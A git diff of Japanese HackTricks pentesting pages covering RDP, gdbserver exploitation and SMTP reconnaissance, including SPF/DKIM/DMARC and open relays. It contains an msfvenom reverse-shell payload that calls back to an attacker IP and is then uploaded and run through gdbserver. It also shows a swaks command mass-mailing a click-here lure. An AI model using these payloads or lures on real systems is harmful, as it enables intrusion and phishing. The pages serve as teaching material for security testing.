* [**EvilRDP**](https://github.com/skelsec/evilrdp) * [**EvilRDP**](https://github.com/skelsec/evilrdp)
* コマンドラインから自動的にマウスとキーボードを制御 * コマンドラインから自動的にマウスとキーボードを制御
@ -157,15 +157,15 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -173,7 +173,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有する、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -17,23 +17,23 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**重要なビジネスに影響を与える、悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **基本情報** ## **基本情報**
**gdbserver** は、プログラムをリモートでデバッグするためのツールです。デバッグが必要なプログラムと同じシステム上で実行され、これを「ターゲット」と呼びます。このセットアップにより、**GNU Debugger** が異なるマシン、すなわちソースコードとデバッグされたプログラムのバイナリコピーが保存されている「ホスト」から接続できます。**gdbserver** とデバッガーの接続は、TCPまたはシリアルラインを介して行うことができ、柔軟なデバッグセットアップを可能にします。 **gdbserver** は、プログラムをリモートでデバッグするためのツールです。デバッグが必要なプログラムと同じシステム上で実行され、これを「ターゲット」と呼びます。このセットアップにより、**GNU Debugger** が異なるマシン、すなわちソースコードとデバッグされたプログラムのバイナリコピーが保存されている「ホスト」から接続できます。**gdbserver** とデバッガーの間の接続は、TCPまたはシリアルラインを介して行うことができ、柔軟なデバッグセットアップを可能にします。
**gdbserverを任意のポートでリッスンさせることができ、現時点で** nmapはサービスを認識できません。** **gdbserverを任意のポートでリッスンさせることができ、現時点で** nmap **はサービスを認識できません。**
## エクスプロイト ## エクスプロイト
### アップロードと実行 ### アップロードと実行
**msfvenomを使用してelfバックドアを簡単に作成し、アップロードして実行できます** **msfvenomを使用してelfバックドアを簡単に作成し、アップロードして実行できます**
```bash ```bash
# Trick shared by @B1n4rySh4d0w # Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
@ -77,7 +77,7 @@ r
# Run the remote command, e.g. `ls`. # Run the remote command, e.g. `ls`.
rcmd ls rcmd ls
``` ```
まず最初に**このスクリプトをローカルに作成してください** まず最初に**このスクリプトをローカルに作成します**
{% code title="remote-cmd.py" %} {% code title="remote-cmd.py" %}
```python ```python
@ -200,7 +200,7 @@ RemoteCmd()
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを評価する **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。

View file

@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを評価する **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -27,7 +27,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
**シンプルメール転送プロトコルSMTP**は、**電子メールの送受信**に使用されるTCP/IPスイート内のプロトコルです。受信者側でメッセージをキューイングする際の制限から、SMTPはしばしば**POP3またはIMAP**と一緒に使用されます。これらの追加プロトコルは、ユーザーがサーバーメールボックスにメッセージを保存し、定期的にダウンロードできるようにします。 **シンプルメール転送プロトコルSMTP**は、**電子メールの送受信**に使用されるTCP/IPスイート内のプロトコルです。受信者側でメッセージをキューイングする際の制限から、SMTPはしばしば**POP3またはIMAP**と一緒に使用されます。これらの追加プロトコルは、ユーザーがサーバーメールボックスにメッセージを保存し、定期的にダウンロードできるようにします。
実際には、**電子メールプログラム**が**電子メールの送信にSMTPを使用し、受信にはPOP3またはIMAPを利用する**ことが一般的です。Unixベースのシステムでは、**sendmail**が電子メール目的で最も頻繁に使用されるSMTPサーバーとして際立っています。商業パッケージであるSendmailにはPOP3サーバーが含まれています。さらに、**Microsoft Exchange**はSMTPサーバーを提供し、POP3サポートを含めるオプションを提供します。 実際には、**電子メールプログラム**が**電子メールを送信するためにSMTPを使用し、受信するためにPOP3またはIMAPを利用する**ことが一般的です。Unixベースのシステムでは、**sendmail**が電子メール目的で最も頻繁に使用されるSMTPサーバーとして際立っています。商業パッケージであるSendmailはPOP3サーバーを含んでいます。さらに、**Microsoft Exchange**はSMTPサーバーを提供し、POP3サポートを含めるオプションを提供します。
**デフォルトポート:** 25,465(ssl),587(ssl) **デフォルトポート:** 25,465(ssl),587(ssl)
``` ```
@ -36,11 +36,11 @@ PORT STATE SERVICE REASON VERSION
``` ```
### EMAIL Headers ### EMAIL Headers
もし**被害者にメールを送信させる機会があ**(例えば、ウェブページのコンタクトフォームを通じて)、それを行ってください。なぜなら、**メールのヘッダーを見ることで被害者の内部トポロジーについて学ぶことができる**からです。 もし**被害者にメールを送信させる機会があれば**(例えば、ウェブページのコンタクトフォームを通じて)、それを行ってください。なぜなら、**メールのヘッダーを見ることで被害者の内部トポロジーについて学ぶことができるからです。**
また、**存在しないアドレスにメールを送信しようとすることでSMTPサーバーからメールを取得する**こともできますサーバーは攻撃者にNDNメールを送信します。ただし、許可されたアドレスからメールを送信しSPFポリシーを確認、NDNメッセージを受信できることを確認してください。 また、**存在しないアドレスにメールを送信しようとすることでSMTPサーバーからメールを取得する**こともできますサーバーは攻撃者にNDNメールを送信します。ただし、許可されたアドレスからメールを送信しSPFポリシーを確認、NDNメッセージを受信できることを確認してください。
**異なる内容を送信することも試みるべきです。なぜなら、ヘッダーにより興味深い情報を見つけることができる**からです。例えば: `X-Virus-Scanned: by av.domain.com`\ **異なる内容を送信することも試みるべきです。なぜなら、ヘッダーにより興味深い情報を見つけることができるからです。** 例えば: `X-Virus-Scanned: by av.domain.com`\
EICARテストファイルを送信してください。\ EICARテストファイルを送信してください。\
**AV**を検出することで、**既知の脆弱性を悪用する**ことができるかもしれません。 **AV**を検出することで、**既知の脆弱性を悪用する**ことができるかもしれません。
@ -171,7 +171,7 @@ Nmap: nmap --script smtp-enum-users <IP>
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
@ -179,7 +179,7 @@ Nmap: nmap --script smtp-enum-users <IP>
## DSNレポート ## DSNレポート
**配信状況通知レポート**: 組織に**無効なアドレス**に**メール**を送信すると、その組織はそのアドレスが無効であることを**あなたにメールを返送す**ことで通知します。返送されたメールの**ヘッダー**には、報告書とやり取りしたメールサービスの**IPアドレス**やアンチウイルスソフトウェアの情報など、可能性のある**機密情報**が**含まれます**。 **配信状況通知レポート**: 組織に**無効なアドレス**に**メール**を送信すると、組織はそのアドレスが無効であることを通知し、**あなたにメールを返送します**。返送されたメールの**ヘッダー**には、報告書とやり取りしたメールサービスの**IPアドレス**やアンチウイルスソフトウェアの情報など、可能性のある**機密情報**が**含まれます**。
## [コマンド](smtp-commands.md) ## [コマンド](smtp-commands.md)
@ -197,7 +197,7 @@ If you are manually typing in a message:
```bash ```bash
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197 swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
``` ```
### Pythonを使ったメール送信 ### Pythonを使ったメール送信
<details> <details>
@ -258,12 +258,12 @@ SMTPスムーグリングの脆弱性により、すべてのSMTP保護をバイ
組織は、SMTPメッセージのスプーフィングの容易さから、**SPF**、**DKIM**、および**DMARC**を採用することで、無許可のメールが自分たちの名義で送信されるのを防いでいます。 組織は、SMTPメッセージのスプーフィングの容易さから、**SPF**、**DKIM**、および**DMARC**を採用することで、無許可のメールが自分たちの名義で送信されるのを防いでいます。
**これらの対策に関する完全なガイド**は[https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/)で入手できます。 **これらの対策に関する完全なガイド**は[https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/)で入手できます。
### SPF ### SPF
{% hint style="danger" %} {% hint style="danger" %}
SPFは[2014年に「非推奨」となりました](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/)。これは、`_spf.domain.com`に**TXTレコード**を作成する代わりに、**同じ構文**を使用して`domain.com`に作成することを意味します。\ SPF [は2014年に「非推奨」とされました](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/)。これは、`_spf.domain.com`に**TXTレコード**を作成する代わりに、**同じ構文**を使用して`domain.com`に作成することを意味します。\
さらに、以前のspfレコードを再利用するために、`"v=spf1 include:_spf.google.com ~all"`のようなものを見つけることは非常に一般的です。 さらに、以前のspfレコードを再利用するために、`"v=spf1 include:_spf.google.com ~all"`のようなものを見つけることは非常に一般的です。
{% endhint %} {% endhint %}
@ -275,7 +275,7 @@ SPFは[2014年に「非推奨」となりました](https://aws.amazon.com/premi
| メカニズム | 説明 | | メカニズム | 説明 |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | 常に一致します。`-all`のようなデフォルト結果に使用されます。 | | ALL | 常に一致します。`-all`のようなデフォルト結果に使用されます。 |
| A | ドメイン名に送信者のアドレスに解決できるアドレスレコードAまたはAAAAがある場合、一致します。 | | A | ドメイン名に送信者のアドレスに解決できるアドレスレコードAまたはAAAAがある場合、一致します。 |
| IP4 | 送信者が指定されたIPv4アドレス範囲にある場合、一致します。 | | IP4 | 送信者が指定されたIPv4アドレス範囲にある場合、一致します。 |
| IP6 | 送信者が指定されたIPv6アドレス範囲にある場合、一致します。 | | IP6 | 送信者が指定されたIPv6アドレス範囲にある場合、一致します。 |
@ -283,19 +283,19 @@ SPFは[2014年に「非推奨」となりました](https://aws.amazon.com/premi
| PTR | クライアントのアドレスのドメイン名PTRレコードが指定されたドメインにあり、そのドメイン名がクライアントのアドレスに解決する場合前方確認された逆DNS、一致します。このメカニズムは推奨されず、可能な限り避けるべきです。 | | PTR | クライアントのアドレスのドメイン名PTRレコードが指定されたドメインにあり、そのドメイン名がクライアントのアドレスに解決する場合前方確認された逆DNS、一致します。このメカニズムは推奨されず、可能な限り避けるべきです。 |
| EXISTS | 指定されたドメイン名が任意のアドレスに解決する場合、一致します解決されるアドレスに関係なく。これはほとんど使用されません。SPFマクロ言語と組み合わせることで、DNSBLクエリのようなより複雑な一致を提供します。 | | EXISTS | 指定されたドメイン名が任意のアドレスに解決する場合、一致します解決されるアドレスに関係なく。これはほとんど使用されません。SPFマクロ言語と組み合わせることで、DNSBLクエリのようなより複雑な一致を提供します。 |
| INCLUDE | 他のドメインのポリシーを参照します。そのドメインのポリシーが通過すれば、このメカニズムも通過します。ただし、含まれたポリシーが失敗した場合、処理は続行されます。他のドメインのポリシーに完全に委任するには、リダイレクト拡張を使用する必要があります。 | | INCLUDE | 他のドメインのポリシーを参照します。そのドメインのポリシーが通過すれば、このメカニズムも通過します。ただし、含まれたポリシーが失敗した場合、処理は続行されます。他のドメインのポリシーに完全に委任するには、リダイレクト拡張を使用する必要があります。 |
| REDIRECT | <p>リダイレクトは、SPFポリシーをホストする別のドメイン名へのポインタであり、複数のドメインが同じSPFポリシーを共有できるようにします。これは、同じメールインフラストラクチャを共有する多数のドメインで作業する際に便利です。</p><p>リダイレクトメカニズムで示されたドメインのSPFポリシーが使用されます。</p> | | REDIRECT | <p>リダイレクトは、SPFポリシーをホストする別のドメイン名へのポインタであり、複数のドメインが同じSPFポリシーを共有できるようにします。これは、同じメールインフラストラクチャを共有する多数のドメインを扱う際に便利です。</p><p>リダイレクトメカニズムで示されたドメインのSPFポリシーが使用されます。</p> |
**クオリファイア**を特定することも可能で、**メカニズムが一致した場合に何をすべきかを示します**。デフォルトでは、**クオリファイア「+」**が使用されます(したがって、いずれかのメカニズムが一致する場合、それは許可されていることを意味します)。\ **クオリファイア**を特定することも可能で、**メカニズムが一致した場合に何をすべきかを示します**。デフォルトでは、**クオリファイア「+」**が使用されます(したがって、いずれかのメカニズムが一致する場合、それは許可されていることを意味します)。\
通常、各SPFポリシーの**最後に**、**\~all**または**-all**のようなものが表示されます。これは、**送信者がどのSPFポリシーにも一致しない場合、メールを信頼できない\~)または拒否(-)としてタグ付けすべきであることを示します。** 通常、各SPFポリシーの**最後に**、**\~all**または**-all**のようなものが記載されています。これは、**送信者がどのSPFポリシーにも一致しない場合、メールを信頼できない\~)または拒否(-)としてタグ付けすべきであることを示します。**
#### クオリファイア #### クオリファイア
ポリシー内の各メカニズムは、意図された結果を定義するために4つのクオリファイアのいずれかで接頭辞を付けることができます ポリシー内の各メカニズムは、意図された結果を定義するために4つのクオリファイアのいずれかで接頭辞を付けることができます
* **`+`**: PASS結果に対応します。デフォルトで、メカニズムはこのクオリファイアを仮定し、`+mx`は`mx`と同等です。 * **`+`**: PASS結果に対応します。デフォルトで、メカニズムはこのクオリファイアを仮定し、`+mx`は`mx`と同等です。
* **`?`**: NEUTRAL結果を表し、NONE特定のポリシーなしと同様に扱われます。 * **`?`**: NEUTRAL結果を表し、NONE特定のポリシーなしと同様に扱われます。
* **`~`**: SOFTFAILを示し、NEUTRALとFAILの中間の立場を取ります。この結果を満たすメールは通常受け入れられますが、適切にマークされます。 * **`~`**: SOFTFAILを示し、NEUTRALとFAILの中間の立場を取ります。この結果に該当するメールは通常受け入れられますが、適切にマークされます。
* **`-`**: FAILを示し、メールは完全に拒否されるべきであることを示唆します。 * **`-`**: FAILを示し、メールは明示的に拒否されるべきであることを示唆します。
次の例では、**google.comのSPFポリシー**が示されています。最初のSPFポリシー内に異なるドメインからのSPFポリシーが含まれていることに注意してください 次の例では、**google.comのSPFポリシー**が示されています。最初のSPFポリシー内に異なるドメインからのSPFポリシーが含まれていることに注意してください
```shell-session ```shell-session
@ -316,7 +316,7 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
dig txt _netblocks3.google.com | grep spf dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all" _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
``` ```
従来、正しい/任意のSPFレコードを持たないドメイン名を偽装することが可能でした。**現在**、**メール**が**有効なSPFレコードを持たないドメインから送信される場合**、おそらく**自動的に拒否される/信頼されていないとマークされる**でしょう。 従来、正しい/任意のSPFレコードを持たないドメイン名を偽装することが可能でした。**現在**、**メール**が**有効なSPFレコードを持たないドメインから送信される場合**、おそらく**自動的に拒否される/信頼されないとマークされる**でしょう。
ドメインのSPFを確認するには、次のようなオンラインツールを使用できます: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) ドメインのSPFを確認するには、次のようなオンラインツールを使用できます: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
@ -334,7 +334,7 @@ dig 20120113._domainkey.gmail.com TXT | grep p=
``` ```
### DMARC (Domain-based Message Authentication, Reporting & Conformance) ### DMARC (Domain-based Message Authentication, Reporting & Conformance)
DMARCは、SPFおよびDKIMプロトコルを基にしてメールセキュリティを強化します。特定のドメインからのメールの取り扱いに関するポリシーを定め、認証失敗への対処方法やメール処理アクションに関する報告をどこに送信するかを示します。 DMARCは、SPFおよびDKIMプロトコルを基にしてメールセキュリティを強化します。特定のドメインからのメールの取り扱いに関するポリシーを示し、認証失敗への対処方法やメール処理アクションに関する報告をどこに送信するかを含みます。
**DMARCレコードを取得するには、サブドメイン\_dmarcをクエリする必要があります** **DMARCレコードを取得するには、サブドメイン\_dmarcをクエリする必要があります**
```bash ```bash
@ -350,14 +350,14 @@ _dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-repor
dig _dmarc.bing.com txt | grep DMARC dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;" _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"
``` ```
#### DMARCタグ #### DMARC タグ
| タグ名 | 目的 | サンプル | | タグ名 | 目的 | サンプル |
| -------- | --------------------------------------------- | ------------------------------- | | -------- | --------------------------------------------- | ------------------------------- |
| v | プロトコルバージョン | v=DMARC1 | | v | プロトコルバージョン | v=DMARC1 |
| pct | フィルタリングの対象となるメッセージの割合 | pct=20 | | pct | フィルタリングの対象となるメッセージの割合 | pct=20 |
| ruf | 法医学レポートの報告URI | ruf=mailto:authfail@example.com | | ruf | 法医学レポートの報告URI | ruf=mailto:authfail@example.com |
| rua | 集レポートの報告URI | rua=mailto:aggrep@example.com | | rua | 集レポートの報告URI | rua=mailto:aggrep@example.com |
| p | 組織ドメインのポリシー | p=quarantine | | p | 組織ドメインのポリシー | p=quarantine |
| sp | ODのサブドメインのポリシー | sp=reject | | sp | ODのサブドメインのポリシー | sp=reject |
| adkim | DKIMの整合性モード | adkim=s | | adkim | DKIMの整合性モード | adkim=s |
@ -365,9 +365,9 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
### **サブドメインについては?** ### **サブドメインについては?**
**こちらから** [**参照**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\ **こちら** [**から**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)****\
メールを送信する各サブドメインに対して、別々のSPFレコードを持つ必要があります。\ メールを送信する各サブドメインに対して、別々のSPFレコードを持つ必要があります。\
以下は、元々openspf.orgに投稿されたもので、こういった情報のための素晴らしいリソースでした。 以下は、以前openspf.orgに投稿されたもので、この種の情報にとって素晴らしいリソースでした。
> デーモンの質問: サブドメインについては? > デーモンの質問: サブドメインについては?
> >
@ -381,13 +381,13 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
### **オープンリレー** ### **オープンリレー**
メールが送信される際、スパムとしてフラグが立てられないようにすることが重要です。これは、**受信者によって信頼されるリレーサーバー**を使用することで達成されることが多いです。しかし、一般的な課題は、管理者がどの**IP範囲が許可されるべきかを完全に理解していないこと**です。この理解の欠如は、SMTPサーバーの設定ミスにつながる可能性があり、セキュリティ評価で頻繁に指摘されるリスクです。 メールが送信される際、スパムとしてフラグが立てられないようにすることが重要です。これは、**受信者によって信頼されるリレーサーバー**を使用することで達成されることが多いです。しかし、一般的な課題は、管理者がどの**IP範囲が許可されるべきかを完全に理解していない**ことです。この理解の欠如は、SMTPサーバーの設定におけるミスを引き起こす可能性があり、これはセキュリティ評価で頻繁に指摘されるリスクです。
特に潜在的または進行中のクライアントとの通信に関して、メール配信の問題を回避するために、一部の管理者が使用する回避策は、**任意のIPアドレスからの接続を許可すること**です。これは、SMTPサーバーの`mynetworks`パラメータをすべてのIPアドレスを受け入れるように設定することで行われます。 特に潜在的または進行中のクライアントとの通信に関して、メール配信の問題を回避するために、一部の管理者が使用する回避策は、**任意のIPアドレスからの接続を許可すること**です。これは、SMTPサーバーの`mynetworks`パラメータをすべてのIPアドレスを受け入れるように設定することで行われます。
```bash ```bash
mynetworks = 0.0.0.0/0 mynetworks = 0.0.0.0/0
``` ```
メールサーバーがオープンリレーであるかどうかを確認するために(これは外部ソースからのメールを転送できることを意味します)、`nmap`ツールが一般的に使用されます。これをテストするために設計された特定のスクリプトが含まれています。サーバー例えば、IP 10.10.10.10でポート25を使用して`nmap`で詳細スキャンを実行するためのコマンドは次のとおりです: メールサーバーがオープンリレーであるかどうかを確認するために(つまり、外部ソースからのメールを転送できることを意味します)、`nmap`ツールが一般的に使用されます。これをテストするために設計された特定のスクリプトが含まれています。サーバー例えば、IP 10.10.10.10でポート25を使用して`nmap`で詳細スキャンを実行するためのコマンドは次のとおりです:
```bash ```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v nmap -p25 --script smtp-open-relay 10.10.10.10 -v
``` ```
@ -503,7 +503,7 @@ s.sendmail(sender, [destination], msg_data)
### **More info** ### **More info**
**これらの保護に関する詳細情報は** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) **で確認できます。** **これらの保護に関する詳細情報は** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) **で見つけてください。**
### **Other phishing indicators** ### **Other phishing indicators**
@ -524,7 +524,7 @@ s.sendmail(sender, [destination], msg_data)
### Postfix ### Postfix
通常、インストールされている場合、`/etc/postfix/master.cf` には **ユーザーによって新しいメールが受信されたときに実行されるスクリプト** が含まれています。例えば、`flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` という行は、ユーザーmarkが新しいメールを受信した場合に `/etc/postfix/filtering` が実行されることを意味します。 通常、インストールされている場合、`/etc/postfix/master.cf`には、例えば新しいメールがユーザーによって受信されたときに**実行されるスクリプト**が含まれています。例えば、`flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}`という行は、ユーザーmarkが新しいメールを受信した場合に`/etc/postfix/filtering`が実行されることを意味します。
Other config files: Other config files:
``` ```
@ -589,7 +589,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
@ -605,7 +605,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
